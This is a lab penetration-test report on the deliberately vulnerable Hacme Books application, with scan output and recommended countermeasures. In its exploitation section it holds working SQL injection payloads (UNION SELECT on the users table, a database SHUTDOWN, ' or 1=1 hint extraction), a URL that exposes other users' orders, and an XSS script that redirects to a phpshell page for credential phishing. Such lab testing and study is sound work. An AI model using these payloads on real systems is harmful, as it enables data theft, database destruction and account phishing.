With quicker time response, advance functionality and availability of the web application at any place of the world and cost effective implementation, all the business and government application has moved to Web Application from desktop applications. For instant an organization with different branches at different places Web Application has linked them together with centralized database which are in most case lies on the core system of the organization. An attacker can access whatever data they need at any place using public internet if there is any vulnerability on the application. Not only the get access to the data bases they can pass easily any network defence and manipulate whole network of the organization.
There are several web applications software for developing web applications in short period of time, but making the secure web application is the most challenging task for the developer. Even after the secure web application is developed, hosting into the world wide service may arise some vulnerability because of third party application used or by the improper network configuration.
Web application security is the security of all components - the web application being used, the web server running the web application and the modules running on the web server. As web application is based on client-server architecture where client is system who accesses server by using web page browser. The client can be any system using internet is therefore not a trusted source. This is main problem with the web application; it has to processes and accepts the data from the non-trusted sources. The normal firewall setting cannot prevent from the attack. There are several other reasons which combine to aggravated unsecure web application. The following are the reason that may arises the web security threats.
Immature Security Awareness: Web application may uses third party applications other than the database system like voice over internet protocol (VoIP), video streaming, online gaming and many more; this allows other ports to open. Because of this nature and unawareness of web application nature, the security defence implementation is different than that of the other network defence
In-House Development: Because of cost reasons many organization develop the web applications by the staff that have some knowledge of development or by the contractors. They combine some template and customize them using new code. This may lead to arise of vulnerability need third party are developed in-house by an organization's own staff or contractors.
Deceptive Simplicity: There are several web application development platforms and powerful tools available freely. Using these, even beginner developer can simply build web application with desire function from scratch in short duration. Developing such web application is not a big concern but the main thing is about the secure web application. Web applications created by such individuals who lack depth knowledge and experience in identifying security threats may leads to vulnerable web application.
Time Constraints and Budget: Most of the small organizations need a web application developed with low budget and within short duration of times. The developer because of competitive market has to balance this factor by neglecting low profile vulnerabilities to give full functional web application. These vulnerabilities may cause the security threats as anyone can access system using back-end behind the several layer of defence of system.
The testing of the web application is quite different than that of network testing. To make the secure web application, both the network architecture and web application code should be secure. The security issues with network architecture are proper installation of the web server and database connectivity with strong authentication. The major security issue with web application is improper coding. There no need of the extra tools for most of the attack. For instant a person with basic knowledge SQL can easily play with web site using the web browser and just attack the web application database. Hence the testing of the web application code is vital.
As already mentioned, for web application, all the client that connect web server are consider as trusted. Therefore the developer develops the web application taking care of this fact. Following are the core elements that are to be considered in developing the web application:
Handle unauthorized access: Users are given different level of the access to the application's functionality and data and hence unauthorized access should be handled. Moreover, login bypass should be handled more carefully. Other important thing to handle unauthorized access is proper session management.
Handle user input: The web application functions are predetermined. To prevent malformed input from causing unwanted behaviour, user input should be handled.
Handle attacker: The attacker may directly target the web application by seeing how error generated by inputting unanticipated values or by trying frequently to input values to get access with automated tools. To ensure proper behaviour of the application appropriate defensive like alerting administrator, proper handling of errors messages and maintaining the audit logs. The offensive counter measures like responding slowly to attacker or by terminating the session.
Administrative Management: In the web application the management is done via web interface as administrative functions are within the application. The proper measure should be taken care for this by removing setting like renaming administrative account if possible, strong authentication and deleting or moving to different location any unwanted files with default setting which have a lot of information about web application.
Above mention general view of security issue in the web application are divided into 9 categories which is further into 66 controls on the OWASP web penetration methodology. The job of web application penetration tester is to thoroughly test above security issue.
Methodology
A penetration test is a method of evaluating the security of a computer system or network by simulating an attack. A Web Application Penetration Test focuses only on evaluating the security of a web application. The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution. There are several such methodology which consider different factor while evaluating the web application. Some of popular methodologies are highlighted below:
For propose of the task given the ISSAF methodology was adapted with OSWP top venerability assessment. The phases adapted for web application penetration testing is shown in fig:
Reconnaissance
In this phase all the services that are used by the domain is scanned. The actions performed are port scan, fingering operating system, fingering web and database server. Tools used are Zenmap and Nikto.
Mapping
Mapping the phase for exploring the web application different WebPages for discovering all function and input fields. To achieve better mapping all the pages is explored manually and where appropriate entering data on the input fields. And if possible pages explored by login into the web application enhance the finding of the vulnerabilities. Further exploring is done by spidering the web application. Spidering visit the WebPages by using the URL link that is in the provided webpage provided. The tools used for this on phase are Zed Attack Proxy and BrupSuite
Discovery
Form the scanning done above an automated vulnerability scanning is done to find the threats in the web application layer. There may be several possible vulnerabilities and due to time constraint only top ten OSWP security vulnerabilities are taken into account. OSWP manual provide good background on these. The tools used for this phase are ZAP and w3af.
Exploitation
From the result obtained discovery manual attack is done. Using automated tools won't provide a perfect attack as the web application coding varies according to developers. For instant login form can uses different ways of SQL queries in the server side and passing of data from client to server side may be scripted differently. Because of such reason different vulnerabilities for same method may be found. The best way to attack is to analysis how the page behaves when an input is provided. The attack analysis is done by providing the unexpected input to the data entry points. Tools used is the web browser and above mention proxies.
Following are the vulnerabilities exploit:
Information leakage: This is cases an application reveals information specifically useful to an attacker for carrying out an attack against the web applications. Most of the cases such information are available because of poor error handling.
SQL injection: This vulnerability enables an attacker to submit crafted input to interfere with the application's interaction with back-end databases. An attacker may be able to retrieve arbitrary data from the application, interfere with its logic, or execute commands on the database server itself.
Broken access controls: This involves cases where the application fails to properly protect access to its data and functionality, potentially enabling an attacker to view other users' sensitive data held on the server, or carries out privileged actions.
Broken authentication: This category of vulnerability encompasses various defects within the application's login mechanism, which may enable an attacker to guess weak passwords, launch a brute-force attack, or bypass the login altogether.
Cross-site scripting: This vulnerability enables an attacker to target other users of the application, potentially gaining access to their data, performing unauthorized actions on their behalf, or carrying out other attacks against them.
Procedure
Foundstone Hacme Book web application is used for the testing. The installation guide for these can be found on the zip files of web application setup file. There are few changes to be made for Hacme Books so that it can be access through other system on the network.
Configration of Hackme Books
All of the IP address 127.0.01 in file "server.xml" from the directory "C:\Program Files \Foundstone Free Tools\Hacme Books 2.0\tomcat\conf" is replaced by to 192.168.0.142, ip address of the web application
hosting system.
Figure 2: Server.conf file
Web addresses of all three web application in virtual machines are as follow:
Hacme Books: http://192.168.0.142:8989/HacmeBooks/
The web penetration test performed here is modified to meet the time constration
Reconnaissance
First step on this phase is to find the ports running on the on the given domain in form of IP 192.168.0.142. Zenmap is used for this. The screen shot of saved xml format is shown in figure 3.
Figure 3: Scan result of Zenmap in xml formt
As per know http link from setup of the web application, port 8989 is the target. The detail port scanning report is in the Appendix A
To gather further information on this port, Nikto is used. Nikto is well know tool for the web scanning with proper use of command lots of information can be gather on the given port. The command used is "./nikto.pl -host 192.168.0.142 -port 8989. The screenshot of information found is show on figure 4.
Figure 4: Nikto scan result of http://192.168.0.142 on port 8989
From both Zenmap and Nikto, the Web server name found is "Apache-Coyote/1.1". Nikto further provide information that method allowed are GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS of which PUT, DELETE AND TRACE are shown as vulnerabilities. Also it shows that Tomcat is installed which provide GET method and type is MywebServer 1.0.2 which is vulnerable to HTML injection.
Mapping
The first step of this phase is to integrate Proxy with web browser. The Proxy used is Zed Attack Proxy (ZAP). To set and integrate proxy with web browser following stem is need to be carried out:
To set up the proxy setting go to tools->options and then select "Local Proxy" and set the address as 127.0.0.1 or localhost. The port is set to 8080 this also the default setting of the ZAP. Figure 5 show the setting made in ZAP.
Figure 5: ZAP Proxy setting
To integrate the Firefox browser with the ZAP proxy under Edit->Preference there is Advance. On Network -there is Setting as highlighted on Firefox Preference window shown in figure 6.a. Clicking on Setting another window appears as FoxyProxy Standard(shown on figure 6.b ), on Mode drop down button selection of the pre-configure proxies are there. ZAP proxy is selected as the choice.
Figure 6.a: Firefox prefrence window Figure 6.b: Proxy Setting window of Network->Setting
After all these setting, entire web application was explored using Firefox. While exploring the registration of new user, login into website, book search, add to chart, forget your password and so on. All of these activities were passed through the proxy and are being recorded. Figure 7 shows a screenshot of this.
Figure 7: ZAP Session showing visited web page visited and Request performed.
In site windows the entire site visited was recorded which also the method it invoke. In Request tab, the process taken while a page is visited shown like cookie, content type and so on. Below this, all the user input are recorded as they are send to the server. Figure 8 shows Response tab of site visited http://192.168.0.142:8989/HacmeBooks/autorize password is sent in the encrypted format.
Figure 8: ZAP Session showing visited web page visited and Response of the Request.
Using w3af the web page crawling was done with empty profile setting brute force attack and webspider on URL http://192.168.0.142:8989 /HacmeBooks as shown in figure 9.
Figure 9: Setting of w3af for brute force and website mapping
The complete report could not be generated as w3af crashes in the middle of brute force attack. The web application website map is shown in Appendix B. The Screenshot at the middle of the session was taken for this which shows that there were two successful attempts were made test and admin users with password academia and 1q2w3e. The screenshot of this is show in the figure 10.
Figure 10: Knowledge Base browser of result showing discovered information by w3af.
This is case of broken authentication, that is, the username and password are guessable.
Discovery
In discovery phase the vulnerability on web application are searched. For searching the vulnerabilities ZAP is a great tool. It searches the vulnerability from the site that has been visited. The screenshot of the scan result is shown in the figure 11.
Figure 11: ZAP showing Alerts Of the vulnerabilities found.
The complete scan result is in appendix C.
The vulnerability was also checked using Websecurify and w3af tools but due to crash during analysis, the report was not saved. The screenshot of Websecurity after the complete analysis of the web application with a part of report is shown in figure 10 and complete report is on Appendix D. The w3af screenshot taken in middle of session is shown in figure 12.
Figure 12: Part of report showing high and medium risk vulnerabilities found by Websecurify
Exploit
The exploit was done on the bases of the vulnerability show by the ZAP proxy. Following are the exploit made. Some more information were discovered about the database like name of the tables, columns on a particular tables, SQL queries used in the server sides.
Information Leakage
SQL Injection
Cross Site Scripting
Broken Authorization
Inofarmation Leakage:
Information leakage is mostly due to improper error handling. In this application the error is not handled properly. Most of the place it leak out the information about database table and even the SQL queries that is being executed on the back-end. Gathering such information allows the attacker to perform more serious attack. The serious information leakages gathered are shown on the other exploit as they are encountered. Here is a leakage that was found on the book search while performing the SQL injection by inputting ';+update set products ( id ) values (333) ;-- on search text box. The screenshot of error is show in figure 13.
Figure 13: Showing error message which revealed the SQL query and table information
Here SQL query that been used to form the search is revealed. Also the it show the information that the database used is hsql and platform used to connect the database is Java. When searching on google for hsql indicated that this is Hypersonic SQL.
SQL Injection:
Based on Phase 3, SQL injections are tried on all user input area.
Search Book: - From the vulnerability assessment it is found that the SQL injection is possible through the search box. The basic concept of SQL query on the search is
SELECT ,title, price FROM products WHERE bookname like '%hacking% ';
A attacker can change this way it function like
SELECT ,title, price FROM products WHERE bookname like '%hacking' UNION SELECT * FROM users;--% '
Or may be like this
SELECT ,title, price FROM products WHERE bookname like '%hacking';+UNION SELECT * FROM users;--%
All the characters after -- are taken as comment in the SQL query.While trying this code error was generated, this was pretty interesting. Screenshot of this is shown in figure 13.
Trying such function like select create or insert did not work in the search box. The command for shutting down the SQL server is SHUTDOWN. Different combination base on SQL query logic is done. With few hit and try method of below is tried.
' SHUTDOWN;--
') SHUTDOWN; --
'; SHUTDOWN-;
Successful attack was made by ' ;+SHUTDOWN;--
The queries for this would be like
SELECT title, price FROM products WHERE bookname like '%' ;+SHUTDOWN;--
This force the database server to execute the SHUTDOWN command which closes the server and no connection is available to front-end, that is to web pages. Now when the book searching is made, an error message appears as shown in figure 14.
Figure 14: Error message indicating Database server is not accessiable.
This indicate the no back-end database server is avilable.
Login: -The basic SQL queries of the login is
SELECT username, password FROM users WHERE username='UserID' AND password='PassWord';
Now as the username is unique only one result is possible if there exit such users. If query obtain a result it reply to Web Server to sending the information and then user is allowed to login. Due to secure coding for Login on the client-side no SQL injection was possible.
PassWordHint: This allows users to give hint about their password. Here username is entered and on submission Password Hint is returned. The possible SQL query may be like
SELECT passwordHint FROM user WHERE username='userID';
The string based SQL injection is not possible as everything passed is taken as whole string. It does not provide any error for inserting SQL special characters. But when the numeric based SQL injection is made it as given below its show the password hints.
' or 1=1--
' or 1=1 ORDER BY password-
The screenshots for the result obtained by ' or 1=1 ORDER BY password-- is shown in the figure 15.
Figure 15: Password Hint obtained by SQL injection
This attack was tried totally based on just hit and trial methods. After several guessing the attack was successful. This could be a threat if a person keep the password and username as a password hint.
Signup form: - Signup from is provided to register new users on web application. Here, when all the data in the field is entered and signup button is clicked client side validation is done to check for proper values are being entered or not. Like email should have @. The value entered on the input field is shown in figure 16. In Username value is entered as sandeep' to check for SQL injection.
Figure 16: Signup form with single quote mark on username textbox.
For this enter a error is show which reveal out the name of the table users along with all of its datafield, that is, columns on the table and even the SQL query used. This is serious discloser of the of the database. The error message is shown in figure 17.
Figure 17: Error showing SQL query invoked while performing singup.
Also it is seen that password is passed in encrypted format. Some other SQL injection was made but no success was obtain except discloser of the relevant inform about database.
Feedback Form: - For this a username by 1007081-san is created and the login using it. After login, with successful login information some feature books name are show. Clicking on the detail information on the book and a feedback form is appeared. The SQL query for such input is
UPDATE product SET feedback='comment' WHERE book_id_pk= '742';
SQL injection can be done to create, insert and delete data and even tables of database. In this case a new table was created as users_backup with field that was same as found on from figure 17. The SQL injection is done by sending text as shown in figure 18.
Figure 18 : SQL injection query sent via Feedback form
As no message is provided that table is created it has to be verified manually. To verify if the table is created or not again same feedback as in figure 19 is entered. This time a error message appears indicating that this table has already exist. The error message generated is show in figure. This also indicates that table is created by the previous entry on feedback submission.
Figure 19: Error message generated while creating table users_backup again
Broken Access Control
To perform the broken access control at least two account is needed. One of these users accounts must have ordered books and another without any order. The steps performed are as follows
Login to the user with no order is done.
Click on "My Order" menu. It display a message as "You do not have any past order on redirected page to "mainMenu.html". as shown in the figure 20.
Figure 20: Message indicating no past order while browsering My Oder
Next step is to view order of other users. For this a user account should be know who have ordered some books. A user with name "1007081-san" is created with some books been order. To access this account "My Order", a URL is entered as
http://192.168.0.142:8989/HacmeBooks/browseOrders.html?userId=1007081-san
The screenshot of result obtained on the web browser is show on figure 21.
Figure 21: My Order list of a user accessed by different user
This is a serious vulnerability as it discloses the person Credit Card Number. This page only displays the information but if the attacker get access to the pages where data can be changes it causes serious threat.
Cross Site Scripting
Cross Site Scripting here is used to redirect web application page. The steps performed are explained below:
Login into web application and click on a book. A feedback form with the book detail appears. In this case the book Cryptography and Network Security: Principles and Practice (3rd Edition).
On feedback enter following script code
Please verify your account.
<script>
location=http://192.168.0.167/phpshell/phpshell.php
</script>
The screenshot of this is show in figure 22.
Figure 22: Script inserted on feedback for performing cross site scripting
Now, when a person click on this book the web page is redirected to the web page http://192.168.0.167/phpshell/phpshell.php. The screenshot of this is show in figure 23. This is a web page on the Samurai.
Figure 23: Web page redirected while clicking on book for detail.
Concept behind this attack is if this page is designed with heading "Please verify your account" and if the users do show then the user account and password is saved to the attacker database. After the user do so the web page is redirect back to the web page.
Discussion And Conclusion
From the above penetration of the web application, vulnerabilities like SQL injection, XSS, Broken Access Control and Information Discloser were discovered and successful attack was made. These vulnerabilities exploit was able to gain control on the database by SQL injection; the modification of the web application page via XSS; and information discloser of other user data because of Broken Access
Control was successfully achieved. These threats are not only for the company but also to the users. The information like the Credit Card Number accessed from broken access control is vital information gained about the user is serious threat for the web application users. To prevent form such threats countermeasure for should be taken while developing and installing the web application. The countermeasures are discussed below
Countermeasures
SQL Injection
From the exploit phase it clear that SQL injection is a serious threat to the database. The attacker can steal, delete or modify the data. Therefore, a serious countermeasure is necessary to protect the database. Utilizing the following countermeasure the SQL injection can be minimize
Applying strong input validation
By combining stored procedures with data validation
Prohibiting the exploit of inherent commands
Handling error message properly so that no information about the database is leaked
Regular logging on the database, firewall and web server to check saved logs if any such malicious attempt is made or not. If made appropriate action should be taken immediately.
Careful consideration of how the database is set up, including user and application permissions and defaults
Although the SQL injection is almost impossible to eliminate from a web application but it can be made very difficult to attack even for the most experienced attacker.
Broken Access Control
Critical parameter should not be sent via URL
Sensitive data must be cryptographically protected. SSL is recommended
Do not rely on browser side scripting alone to perform input validation - Always validate on the server
Cross Site Scripting
Filtering user data while response is made to the user's browser.
Use of third-party web application firewall, which response to XSS by blocking from web server.
Most significant way to handle XSS is to disable scripting if not required.
Alternate solution "signed scripting" that is invalid user cannot run scripting on web application.
Validate the input done via client. The validation progression possibly be based on
Length
White List
Encoding
Type
Black List
Escaping
Char Set
Additions
Range
Allowed Char
Information Leakage
Information leakage is because of many reasons. Counter measures depend upon type of information leakage.
Error message information leakage can be prevented by hiding the error message with common error message.
Information can be leaked from source code of the web page. Like keeping vital information on webpage source code as comment. This can be prevented by proper coding.
These exploit done is a medium level work. Future work on this at advance level is left. For instant with complex use of the SQL injection, copying users table in new table and the coping back to the users table by exchanging the password hint values with password. After this when request is made for password hint the password is revealed instead of the password hint. Further complex scripting work is needed to be carried out on XSS for more damage achievement. Also complete page by page review of DOM and source code of the client side is needed to be done as further work.
According overall analysis of the web application, there is urgent need of patching of these vulnerabilities.
References:
Appendixes
Appendix A: Zenmap scan report.
The complete scan result of the Zenmap of the system where the web application is installed.
nmap scan report - scan @ Wed May 04 19:13:15 2011
scan summary |
scan info |
192.168.0.142 |
runstats
scan summary
nmap was initiated at Wed May 04 19:13:15 2011 with these arguments:
nmap -p 1-65535 -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.0.142
The process stopped at Wed May 04 19:15:19 2011. Debugging was disabled, the verbosity level was 1.
192.168.0.142
ping results
address
192.168.0.142 (ipv4)
00:0C:29:4C:59:37 (mac)
ports
The 65517 ports scanned but not shown below are in state: closed
Port
State
Service
Reason
Product
Version
Extra info
25
tcp
open
smtp
syn-ack
Microsoft ESMTP
6.0.2600.1
80
tcp
open
http
syn-ack
Microsoft IIS webserver
5.1
135
tcp
open
msrpc
syn-ack
Microsoft Windows RPC
139
tcp
open
netbios-ssn
syn-ack
389
tcp
open
syn-ack
443
tcp
open
syn-ack
445
tcp
open
microsoft-ds
syn-ack
Microsoft Windows XP microsoft-ds
1025
tcp
open
msrpc
syn-ack
Microsoft Windows RPC
1027
tcp
open
syn-ack
1433
tcp
open
ms-sql-s
syn-ack
Microsoft SQL Server 2000
8.00.766; SP3a
1720
tcp
open
microsoft-rdp
syn-ack
Microsoft Terminal Service
Used with Netmeeting, Remote Desktop, Remote Assistance
2869
tcp
open
upnp
syn-ack
Microsoft Windows UPnP
1.0
UPnP Device Host: 1.0
3000
tcp
open
http
syn-ack
WEBrick httpd
1.3.1
Ruby 1.8.2 (2004-12-25)
3069
tcp
open
msrpc
syn-ack
Microsoft Windows RPC
5000
tcp
open
upnp
syn-ack
Microsoft Windows UPnP
8009
tcp
open
ajp13
syn-ack
Apache Jserv
Protocol v1.3
8080
tcp
open
http
syn-ack
Microsoft IIS webserver
5.1
8989
tcp
open
http
syn-ack
Apache Tomcat/Coyote JSP engine
1.1
remote operating system guess
Unable to identify operating system.
used port 25/tcp (open)
used port 1/tcp (closed)
used port 42996/udp (closed)
traceroute
port:
proto:
Hop
Rtt
IP
Host
1
0.02
192.168.0.142
Appendix B: Hacme Books Website map as produced by the W3af
Apendix C : ZAP Vulnerability Scan Report
Report generated at Wed, 4 May 2011 20:19:19.
Summary of Alerts
Risk Level
Number of Alerts
High
2
Medium
2
Low
0
Informational
0
Alert Detail
High (Suspicious)
SQL Injection Fingerprinting
Description
SQL injection may be possible.
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=&paymentType=Bank+Account+Number&bankAccountNumber=1200780&magicCoupon=2252100%27INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont%2Bknow%253F%27INJECTED_PARAM
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=%27INJECTED_PARAM&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=&paymentType=Bank+Account+Number&bankAccountNumber=1200780%27INJECTED_PARAM&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta%27INJECTED_PARAM&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep%27INJECTED_PARAM&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081%27INJECTED_PARAM&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/searchBooks.html
Parameter
keyWords=web%2Btesting%27INJECTED_PARAM&login=Search
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html
Parameter
feedback=this%2Bmeah%2Bsandeep%2Bhi%2Bthere%27INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=&paymentType=Bank%2BAccount%2BNumber%27INJECTED_PARAM&bankAccountNumber=1200780&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/authorize
Parameter
j_username=1007081-san&j_password=whocare%27INJECTED_PARAM&login=Login
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=%27INJECTED_PARAM&paymentType=Bank+Account+Number&bankAccountNumber=1200780&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/authorize
Parameter
j_username=1007081-san%27INJECTED_PARAM&j_password=whocare&login=Login
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=%27INJECTED_PARAM&expiration=&paymentType=Bank+Account+Number&bankAccountNumber=1200780&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/passwordHint.html?username=1007081-san'INJECTED_PARAM
Parameter
username=1007081-san'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/searchBooks.html?keyWords=hacker'INJECTED_PARAM&login=Search&d-4028674-e=3&6578706f7274=1
Parameter
keyWords=hacker'INJECTED_PARAM&login=Search&d-4028674-e=3&6578706f7274=1
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/j_security_check?j_username=1007081-san&j_password=7650da51bacbfa229a986eb43ede76b6459ee795'INJECTED_PARAM&j_uri=null
Parameter
j_username=1007081-san&j_password=7650da51bacbfa229a986eb43ede76b6459ee795'INJECTED_PARAM&j_uri=null
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html?feedback=this%20meah%20sandeep%20hi%20there&d-4028674-e=3&6578706f7274=1'INJECTED_PARAM
Parameter
feedback=this meah sandeep hi there&d-4028674-e=3&6578706f7274=1'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/j_security_check?j_username=1007081-san'INJECTED_PARAM&j_password=7650da51bacbfa229a986eb43ede76b6459ee795&j_uri=null
Parameter
j_username=1007081-san'INJECTED_PARAM&j_password=7650da51bacbfa229a986eb43ede76b6459ee795&j_uri=null
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html?feedback=this%20meah%20sandeep%20hi%20there&d-4028674-e=3'INJECTED_PARAM&6578706f7274=1
Parameter
feedback=this meah sandeep hi there&d-4028674-e=3'INJECTED_PARAM&6578706f7274=1
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/deleteShoppingCart.html?productId=1304524483058'INJECTED_PARAM
Parameter
productId=1304524483058'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html?feedback=this%20meah%20sandeep%20hi%20there'INJECTED_PARAM&d-4028674-e=3&6578706f7274=1
Parameter
feedback=this meah sandeep hi there'INJECTED_PARAM&d-4028674-e=3&6578706f7274=1
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/addShoppingCart.html?productId=743'INJECTED_PARAM
Parameter
productId=743'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/bookDetails.html?id=810'INJECTED_PARAM
Parameter
id=810'INJECTED_PARAM
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/bookDetails.html?id=1468'INJECTED_PARAM&d-4028674-o=2&d-4028674-s=1
Parameter
id=1468'INJECTED_PARAM&d-4028674-o=2&d-4028674-s=1
Other information
jdbc
Solution
Do not trust client side input even if there is client side validation. In general,
If the input string is numeric, type check it.
If the application used JDBC, use PreparedStatement or CallableStatement with parameters passed by '?'
If the application used ASP, use ADO Command Objects with strong type checking and parameterized query.
If stored procedure or bind variables can be used, use it for parameter passing into query. Do not just concatenate string into query in the stored procedure!
Do not create dynamic SQL query by simple string concatentation.
Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if the application require reading one table only, grant such access to the application. Avoid using 'sa' or 'db-owner'.
Reference
The OWASP guide at http://www.owasp.org/documentation/guide
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
For Oracle database, refer to http://www.integrigy.com/info/IntegrigyIntrotoSQLInjectionAttacks.pdf
High (Suspicious)
SQL Injection
Description
SQL injection is possible. User parameters submitted will be formulated into a SQL query for database processing. If the query is built by simple 'string concatenation', it is possible to modify the meaning of the query by carefully crafting the parameters. Depending on the access right and type of database used, tampered query can be used to retrieve sensitive information from the database or execute arbitrary code. MS SQL and PostGreSQL, which supports multiple statements, may be exploited if the database access right is more powerful.
This can occur in URL query strings, POST paramters or even cookies. Currently check on cookie is not supported by Paros. You should check SQL injection manually as well as some blind SQL injection areas cannot be discovered by this check.
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=&paymentType=Bank+Account+Number&bankAccountNumber=1200780&magicCoupon=2252100%27INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=&paymentType=Bank+Account+Number&bankAccountNumber=1200780%27INJECTED_PARAM&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont%2Bknow%253F%27INJECTED_PARAM
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=%27INJECTED_PARAM&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=&paymentType=Bank%2BAccount%2BNumber%27INJECTED_PARAM&bankAccountNumber=1200780&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta%27INJECTED_PARAM&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081&password=whocare&confirmPassword=whocare&firstName=sandeep%27INJECTED_PARAM&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=1007081%27INJECTED_PARAM&password=whocare&confirmPassword=whocare&firstName=sandeep&lastName=gupta&email=1007081%40live.com&phoneNumber=&ssn=&passwordHint=dont+know%3F
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/searchBooks.html
Parameter
keyWords=web%2Btesting%27INJECTED_PARAM&login=Search
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html
Parameter
feedback=this%2Bmeah%2Bsandeep%2Bhi%2Bthere%27INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=&expiration=%27INJECTED_PARAM&paymentType=Bank+Account+Number&bankAccountNumber=1200780&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html?feedback=this%20meah%20sandeep%20hi%20there&d-4028674-e=3&6578706f7274=1'INJECTED_PARAM
Parameter
feedback=this meah sandeep hi there&d-4028674-e=3&6578706f7274=1'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/approveCheckout.html
Parameter
creditCardNumber=%27INJECTED_PARAM&expiration=&paymentType=Bank+Account+Number&bankAccountNumber=1200780&magicCoupon=2252100
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html?feedback=this%20meah%20sandeep%20hi%20there&d-4028674-e=3'INJECTED_PARAM&6578706f7274=1
Parameter
feedback=this meah sandeep hi there&d-4028674-e=3'INJECTED_PARAM&6578706f7274=1
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/searchBooks.html?keyWords=hacker'INJECTED_PARAM&login=Search&d-4028674-e=3&6578706f7274=1
Parameter
keyWords=hacker'INJECTED_PARAM&login=Search&d-4028674-e=3&6578706f7274=1
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/passwordHint.html?username=1007081-san'INJECTED_PARAM
Parameter
username=1007081-san'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/feedback.html?feedback=this%20meah%20sandeep%20hi%20there'INJECTED_PARAM&d-4028674-e=3&6578706f7274=1
Parameter
feedback=this meah sandeep hi there'INJECTED_PARAM&d-4028674-e=3&6578706f7274=1
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/deleteShoppingCart.html?productId=1304524483058'INJECTED_PARAM
Parameter
productId=1304524483058'INJECTED_PARAM
Other information
SQL
URL
